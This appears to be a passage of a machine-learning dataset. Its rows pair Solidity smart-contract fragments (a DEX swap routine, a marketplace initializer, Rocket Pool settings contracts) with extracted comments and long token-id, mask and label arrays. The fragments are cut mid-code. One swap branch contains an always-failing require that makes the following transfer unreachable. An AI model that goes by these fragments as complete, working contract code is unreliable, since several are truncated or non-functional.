uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else if(type2==13) {
uint8 type3;
address tokenIn;
address tokenOut;
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
type3:=and(fourth32bytes,0x0f)
let fifth32bytes := calldataload(196)
let sixth32bytes := calldataload(228)
tokenIn:=shr(96,fifth32bytes)
tokenOut:=shr(96,sixth32bytes)
}
if(type3==0){
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
require(1==2,'s2');
erc20Transfer(tokenOut,msg.sender,out);
}
}
else{
revert("");
}
}
| 9,589,481 | [
1,
45,
984,
291,
91,
438,
58,
23,
12521,
2428,
24,
3890,
3451,
3847,
3890,
3844,
20,
3847,
3890,
3844,
21,
3847,
3890,
1384,
3847,
3890,
769,
501,
67,
1899,
467,
984,
291,
91,
438,
58,
22,
4154,
12,
6017,
22,
2934,
22270,
12,
20,
16,
11890,
12,
8949,
21,
9242,
3631,
3576,
18,
15330,
16,
2704,
1731,
12,
20,
10019,
467,
984,
291,
91,
438,
58,
22,
4154,
12,
6017,
22,
2934,
22270,
12,
11890,
12,
8949,
20,
9242,
3631,
20,
16,
3576,
18,
15330,
16,
2704,
1731,
12,
20,
10019,
467,
984,
291,
91,
438,
58,
22,
4154,
12,
6017,
22,
2934,
22270,
12,
20,
16,
11890,
12,
8949,
21,
9242,
27921,
8949,
22,
16,
2867,
12,
2211,
3631,
2704,
1731,
12,
20,
10019,
467,
984,
291,
91,
438,
58,
22,
4154,
12,
6017,
22,
2934,
22270,
12,
11890,
12,
8949,
20,
9242,
27921,
8949,
22,
16,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
640,
291,
91,
438,
58,
23,
12521,
2428,
12,
203,
3639,
509,
5034,
3844,
20,
9242,
16,
203,
3639,
509,
5034,
3844,
21,
9242,
16,
203,
3639,
1731,
745,
892,
225,
389,
892,
203,
565,
262,
3903,
3849,
288,
203,
203,
540,
203,
3639,
309,
12,
2229,
18,
10012,
480,
3410,
13,
203,
3639,
288,
203,
5411,
15226,
2932,
8863,
203,
3639,
289,
203,
2398,
203,
540,
203,
3639,
19931,
288,
203,
5411,
2231,
745,
892,
1578,
3890,
519,
745,
72,
3145,
6189,
12,
22152,
13,
203,
5411,
3082,
22,
519,
699,
86,
12,
10525,
16,
1991,
892,
1578,
3890,
13,
203,
5411,
3844,
22,
30,
33,
471,
12,
674,
86,
12,
28,
16,
1991,
892,
1578,
3890,
3631,
20,
5297,
9460,
9460,
9460,
9460,
9460,
13,
203,
5411,
618,
22,
30,
33,
464,
12,
1991,
892,
1578,
3890,
16,
20,
92,
20,
74,
13,
203,
5411,
3634,
1290,
3335,
22,
30,
33,
464,
12,
1991,
892,
1578,
3890,
16,
20,
5841,
20,
13,
203,
3639,
289,
203,
540,
203,
3639,
309,
12,
723,
22,
631,
20,
15329,
203,
203,
5411,
309,
261,
7124,
1290,
3335,
22,
15329,
203,
7734,
341,
546,
5912,
12,
6017,
22,
16,
11890,
5034,
19236,
8949,
20,
9242,
24950,
8949,
22,
1769,
203,
7734,
776,
22,
12521,
12,
6017,
22,
16,
20,
16,
11890,
12,
8949,
21,
9242,
3631,
3576,
18,
15330,
1769,
203,
5411,
289,
377,
203,
5411,
469,
95,
203,
7734,
341,
546,
5912,
12,
6017,
22,
16,
11890,
5034,
19236,
8949,
21,
9242,
24950,
2
] |
./full_match/5/0x48197f0047f833BD69eC34ed6df86e6Ee19dbaEb/sources/contracts/Contract.sol | @dev Initiliazes the contract, like a constructor. Initialize inherited contracts, most base-like -> most derived. Initialize this contract's state. | ) external initializer {
__ReentrancyGuard_init();
__ERC2771Context_init(_trustedForwarders);
timeBuffer = 15 minutes;
bidBufferBps = 500;
contractURI = _contractURI;
platformFeeBps = uint64(_platformFeeBps);
platformFeeRecipient = _platformFeeRecipient;
_setupRole(DEFAULT_ADMIN_ROLE, _defaultAdmin);
_setupRole(LISTER_ROLE, address(0));
_setupRole(ASSET_ROLE, address(0));
}
| 7,087,446 | [
1,
2570,
330,
1155,
94,
281,
326,
6835,
16,
3007,
279,
3885,
18,
9190,
12078,
20092,
16,
4486,
1026,
17,
5625,
317,
4486,
10379,
18,
9190,
333,
6835,
1807,
919,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
262,
3903,
12562,
288,
203,
3639,
1001,
426,
8230,
12514,
16709,
67,
2738,
5621,
203,
3639,
1001,
654,
39,
22,
4700,
21,
1042,
67,
2738,
24899,
25247,
8514,
414,
1769,
203,
3639,
813,
1892,
273,
4711,
6824,
31,
203,
3639,
9949,
1892,
38,
1121,
273,
6604,
31,
203,
377,
203,
3639,
6835,
3098,
273,
389,
16351,
3098,
31,
203,
3639,
4072,
14667,
38,
1121,
273,
2254,
1105,
24899,
9898,
14667,
38,
1121,
1769,
203,
3639,
4072,
14667,
18241,
273,
389,
9898,
14667,
18241,
31,
203,
203,
3639,
389,
8401,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
389,
1886,
4446,
1769,
203,
3639,
389,
8401,
2996,
12,
7085,
654,
67,
16256,
16,
1758,
12,
20,
10019,
203,
3639,
389,
8401,
2996,
12,
3033,
4043,
67,
16256,
16,
1758,
12,
20,
10019,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
import "../interface/RocketStorageInterface.sol";
/// @title Base settings / modifiers for each contract in Rocket Pool
/// @author David Rugendyke
abstract contract RocketBase {
// Calculate using this as the base
uint256 constant calcBase = 1 ether;
// Version of the contract
uint8 public version;
// The main storage contract where primary persistant storage is maintained
RocketStorageInterface rocketStorage = RocketStorageInterface(0);
/*** Modifiers **********************************************************/
/**
* @dev Throws if called by any sender that doesn't match a Rocket Pool network contract
*/
modifier onlyLatestNetworkContract() {
require(getBool(keccak256(abi.encodePacked("contract.exists", msg.sender))), "Invalid or outdated network contract");
_;
}
/**
* @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract
*/
modifier onlyLatestContract(string memory _contractName, address _contractAddress) {
require(_contractAddress == getAddress(keccak256(abi.encodePacked("contract.address", _contractName))), "Invalid or outdated contract");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered node
*/
modifier onlyRegisteredNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("node.exists", _nodeAddress))), "Invalid node");
_;
}
/**
* @dev Throws if called by any sender that isn't a trusted node DAO member
*/
modifier onlyTrustedNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("dao.trustednodes.", "member", _nodeAddress))), "Invalid trusted node");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered minipool
*/
modifier onlyRegisteredMinipool(address _minipoolAddress) {
require(getBool(keccak256(abi.encodePacked("minipool.exists", _minipoolAddress))), "Invalid minipool");
_;
}
/**
* @dev Throws if called by any account other than a guardian account (temporary account allowed access to settings before DAO is fully enabled)
*/
modifier onlyGuardian() {
require(msg.sender == rocketStorage.getGuardian(), "Account is not a temporary guardian");
_;
}
/*** Methods **********************************************************/
/// @dev Set the main Rocket Storage address
constructor(RocketStorageInterface _rocketStorageAddress) {
// Update the contract address
rocketStorage = RocketStorageInterface(_rocketStorageAddress);
}
/// @dev Get the address of a network contract by name
function getContractAddress(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Check it
require(contractAddress != address(0x0), "Contract not found");
// Return
return contractAddress;
}
/// @dev Get the address of a network contract by name (returns address(0x0) instead of reverting if contract does not exist)
function getContractAddressUnsafe(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Return
return contractAddress;
}
/// @dev Get the name of a network contract by address
function getContractName(address _contractAddress) internal view returns (string memory) {
// Get the contract name
string memory contractName = getString(keccak256(abi.encodePacked("contract.name", _contractAddress)));
// Check it
require(bytes(contractName).length > 0, "Contract not found");
// Return
return contractName;
}
/// @dev Get revert error message from a .call method
function getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
/*** Rocket Storage Methods ****************************************/
// Note: Unused helpers have been removed to keep contract sizes down
/// @dev Storage get methods
function getAddress(bytes32 _key) internal view returns (address) { return rocketStorage.getAddress(_key); }
function getUint(bytes32 _key) internal view returns (uint) { return rocketStorage.getUint(_key); }
function getString(bytes32 _key) internal view returns (string memory) { return rocketStorage.getString(_key); }
function getBytes(bytes32 _key) internal view returns (bytes memory) { return rocketStorage.getBytes(_key); }
function getBool(bytes32 _key) internal view returns (bool) { return rocketStorage.getBool(_key); }
function getInt(bytes32 _key) internal view returns (int) { return rocketStorage.getInt(_key); }
function getBytes32(bytes32 _key) internal view returns (bytes32) { return rocketStorage.getBytes32(_key); }
/// @dev Storage set methods
function setAddress(bytes32 _key, address _value) internal { rocketStorage.setAddress(_key, _value); }
function setUint(bytes32 _key, uint _value) internal { rocketStorage.setUint(_key, _value); }
function setString(bytes32 _key, string memory _value) internal { rocketStorage.setString(_key, _value); }
function setBytes(bytes32 _key, bytes memory _value) internal { rocketStorage.setBytes(_key, _value); }
function setBool(bytes32 _key, bool _value) internal { rocketStorage.setBool(_key, _value); }
function setInt(bytes32 _key, int _value) internal { rocketStorage.setInt(_key, _value); }
function setBytes32(bytes32 _key, bytes32 _value) internal { rocketStorage.setBytes32(_key, _value); }
/// @dev Storage delete methods
function deleteAddress(bytes32 _key) internal { rocketStorage.deleteAddress(_key); }
function deleteUint(bytes32 _key) internal { rocketStorage.deleteUint(_key); }
function deleteString(bytes32 _key) internal { rocketStorage.deleteString(_key); }
function deleteBytes(bytes32 _key) internal { rocketStorage.deleteBytes(_key); }
function deleteBool(bytes32 _key) internal { rocketStorage.deleteBool(_key); }
function deleteInt(bytes32 _key) internal { rocketStorage.deleteInt(_key); }
function deleteBytes32(bytes32 _key) internal { rocketStorage.deleteBytes32(_key); }
/// @dev Storage arithmetic methods
function addUint(bytes32 _key, uint256 _amount) internal { rocketStorage.addUint(_key, _amount); }
function subUint(bytes32 _key, uint256 _amount) internal { rocketStorage.subUint(_key, _amount); }
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
import "../../../RocketBase.sol";
import "../../../../interface/dao/protocol/settings/RocketDAOProtocolSettingsInterface.sol";
// Settings in RP which the DAO will have full control over
// This settings contract enables storage using setting paths with namespaces, rather than explicit set methods
abstract contract RocketDAOProtocolSettings is RocketBase, RocketDAOProtocolSettingsInterface {
// The namespace for a particular group of settings
bytes32 settingNameSpace;
// Only allow updating from the DAO proposals contract
modifier onlyDAOProtocolProposal() {
// If this contract has been initialised, only allow access from the proposals contract
if(getBool(keccak256(abi.encodePacked(settingNameSpace, "deployed")))) require(getContractAddress("rocketDAOProtocolProposals") == msg.sender, "Only DAO Protocol Proposals contract can update a setting");
_;
}
// Construct
constructor(RocketStorageInterface _rocketStorageAddress, string memory _settingNameSpace) RocketBase(_rocketStorageAddress) {
// Apply the setting namespace
settingNameSpace = keccak256(abi.encodePacked("dao.protocol.setting.", _settingNameSpace));
}
/*** Uints ****************/
// A general method to return any setting given the setting path is correct, only accepts uints
function getSettingUint(string memory _settingPath) public view override returns (uint256) {
return getUint(keccak256(abi.encodePacked(settingNameSpace, _settingPath)));
}
// Update a Uint setting, can only be executed by the DAO contract when a majority on a setting proposal has passed and been executed
function setSettingUint(string memory _settingPath, uint256 _value) virtual public override onlyDAOProtocolProposal {
// Update setting now
setUint(keccak256(abi.encodePacked(settingNameSpace, _settingPath)), _value);
}
/*** Bools ****************/
// A general method to return any setting given the setting path is correct, only accepts bools
function getSettingBool(string memory _settingPath) public view override returns (bool) {
return getBool(keccak256(abi.encodePacked(settingNameSpace, _settingPath)));
}
// Update a setting, can only be executed by the DAO contract when a majority on a setting proposal has passed and been executed
function setSettingBool(string memory _settingPath, bool _value) virtual public override onlyDAOProtocolProposal {
// Update setting now
setBool(keccak256(abi.encodePacked(settingNameSpace, _settingPath)), _value);
}
/*** Addresses ****************/
// A general method to return any setting given the setting path is correct, only accepts addresses
function getSettingAddress(string memory _settingPath) external view override returns (address) {
return getAddress(keccak256(abi.encodePacked(settingNameSpace, _settingPath)));
}
// Update a setting, can only be executed by the DAO contract when a majority on a setting proposal has passed and been executed
function setSettingAddress(string memory _settingPath, address _value) virtual external override onlyDAOProtocolProposal {
// Update setting now
setAddress(keccak256(abi.encodePacked(settingNameSpace, _settingPath)), _value);
}
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
import "./RocketDAOProtocolSettings.sol";
import "../../../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNetworkInterface.sol";
// Network auction settings
contract RocketDAOProtocolSettingsNetwork is RocketDAOProtocolSettings, RocketDAOProtocolSettingsNetworkInterface {
// Construct
constructor(RocketStorageInterface _rocketStorageAddress) RocketDAOProtocolSettings(_rocketStorageAddress, "network") {
// Set version
version = 1;
// Initialize settings on deployment
if(!getBool(keccak256(abi.encodePacked(settingNameSpace, "deployed")))) {
// Apply settings
setSettingUint("network.consensus.threshold", 0.51 ether); // 51%
setSettingBool("network.submit.balances.enabled", true);
setSettingUint("network.submit.balances.frequency", 5760); // ~24 hours
setSettingBool("network.submit.prices.enabled", true);
setSettingUint("network.submit.prices.frequency", 5760); // ~24 hours
setSettingUint("network.node.fee.minimum", 0.15 ether); // 15%
setSettingUint("network.node.fee.target", 0.15 ether); // 15%
setSettingUint("network.node.fee.maximum", 0.15 ether); // 15%
setSettingUint("network.node.fee.demand.range", 160 ether);
setSettingUint("network.reth.collateral.target", 0.1 ether);
setSettingUint("network.reth.deposit.delay", 5760); // ~24 hours
// Settings initialised
setBool(keccak256(abi.encodePacked(settingNameSpace, "deployed")), true);
}
}
// Update a setting, overrides inherited setting method with extra checks for this contract
function setSettingUint(string memory _settingPath, uint256 _value) override public onlyDAOProtocolProposal {
// Some safety guards for certain settings
// Prevent DAO from setting the withdraw delay greater than ~24 hours
if(keccak256(bytes(_settingPath)) == keccak256(bytes("network.reth.deposit.delay"))) {
// Must be a future timestamp
require(_value <= 5760, "rETH deposit delay cannot exceed 5760 blocks");
}
// Update setting now
setUint(keccak256(abi.encodePacked(settingNameSpace, _settingPath)), _value);
}
// The threshold of trusted nodes that must reach consensus on oracle data to commit it
function getNodeConsensusThreshold() override external view returns (uint256) {
return getSettingUint("network.consensus.threshold");
}
// Submit balances currently enabled (trusted nodes only)
function getSubmitBalancesEnabled() override external view returns (bool) {
return getSettingBool("network.submit.balances.enabled");
}
// The frequency in blocks at which network balances should be submitted by trusted nodes
function getSubmitBalancesFrequency() override external view returns (uint256) {
return getSettingUint("network.submit.balances.frequency");
}
// Submit prices currently enabled (trusted nodes only)
function getSubmitPricesEnabled() override external view returns (bool) {
return getSettingBool("network.submit.prices.enabled");
}
// The frequency in blocks at which network prices should be submitted by trusted nodes
function getSubmitPricesFrequency() override external view returns (uint256) {
return getSettingUint("network.submit.prices.frequency");
}
// The minimum node commission rate as a fraction of 1 ether
function getMinimumNodeFee() override external view returns (uint256) {
return getSettingUint("network.node.fee.minimum");
}
// The target node commission rate as a fraction of 1 ether
function getTargetNodeFee() override external view returns (uint256) {
return getSettingUint("network.node.fee.target");
}
// The maximum node commission rate as a fraction of 1 ether
function getMaximumNodeFee() override external view returns (uint256) {
return getSettingUint("network.node.fee.maximum");
}
// The range of node demand values to base fee calculations on (from negative to positive value)
function getNodeFeeDemandRange() override external view returns (uint256) {
return getSettingUint("network.node.fee.demand.range");
}
// Target rETH collateralization rate as a fraction of 1 ether
function getTargetRethCollateralRate() override external view returns (uint256) {
return getSettingUint("network.reth.collateral.target");
}
// rETH withdraw delay in blocks
function getRethDepositDelay() override external view returns (uint256) {
return getSettingUint("network.reth.deposit.delay");
}
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketStorageInterface {
// Deploy status
function getDeployedStatus() external view returns (bool);
// Guardian
function getGuardian() external view returns(address);
function setGuardian(address _newAddress) external;
function confirmGuardian() external;
// Getters
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string memory);
function getBytes(bytes32 _key) external view returns (bytes memory);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
function getBytes32(bytes32 _key) external view returns (bytes32);
// Setters
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string calldata _value) external;
function setBytes(bytes32 _key, bytes calldata _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// Deleters
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
// Arithmetic
function addUint(bytes32 _key, uint256 _amount) external;
function subUint(bytes32 _key, uint256 _amount) external;
// Protected storage
function getNodeWithdrawalAddress(address _nodeAddress) external view returns (address);
function getNodePendingWithdrawalAddress(address _nodeAddress) external view returns (address);
function setWithdrawalAddress(address _nodeAddress, address _newWithdrawalAddress, bool _confirm) external;
function confirmWithdrawalAddress(address _nodeAddress) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketDAOProtocolSettingsInterface {
function getSettingUint(string memory _settingPath) external view returns (uint256);
function setSettingUint(string memory _settingPath, uint256 _value) external;
function getSettingBool(string memory _settingPath) external view returns (bool);
function setSettingBool(string memory _settingPath, bool _value) external;
function getSettingAddress(string memory _settingPath) external view returns (address);
function setSettingAddress(string memory _settingPath, address _value) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketDAOProtocolSettingsNetworkInterface {
function getNodeConsensusThreshold() external view returns (uint256);
function getSubmitBalancesEnabled() external view returns (bool);
function getSubmitBalancesFrequency() external view returns (uint256);
function getSubmitPricesEnabled() external view returns (bool);
function getSubmitPricesFrequency() external view returns (uint256);
function getMinimumNodeFee() external view returns (uint256);
function getTargetNodeFee() external view returns (uint256);
function getMaximumNodeFee() external view returns (uint256);
function getNodeFeeDemandRange() external view returns (uint256);
function getTargetRethCollateralRate() external view returns (uint256);
function getRethDepositDelay() external view returns (uint256);
} | Set version Initialize settings on deployment Apply settings Settings initialised | constructor(RocketStorageInterface _rocketStorageAddress) RocketDAOProtocolSettings(_rocketStorageAddress, "network") {
version = 1;
if(!getBool(keccak256(abi.encodePacked(settingNameSpace, "deployed")))) {
setSettingBool("network.submit.balances.enabled", true);
setSettingBool("network.submit.prices.enabled", true);
setSettingUint("network.node.fee.demand.range", 160 ether);
setSettingUint("network.reth.collateral.target", 0.1 ether);
setBool(keccak256(abi.encodePacked(settingNameSpace, "deployed")), true);
}
}
| 5,983,027 | [
1,
694,
1177,
9190,
1947,
603,
6314,
5534,
1947,
8709,
30372,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
12,
54,
1861,
3245,
1358,
389,
303,
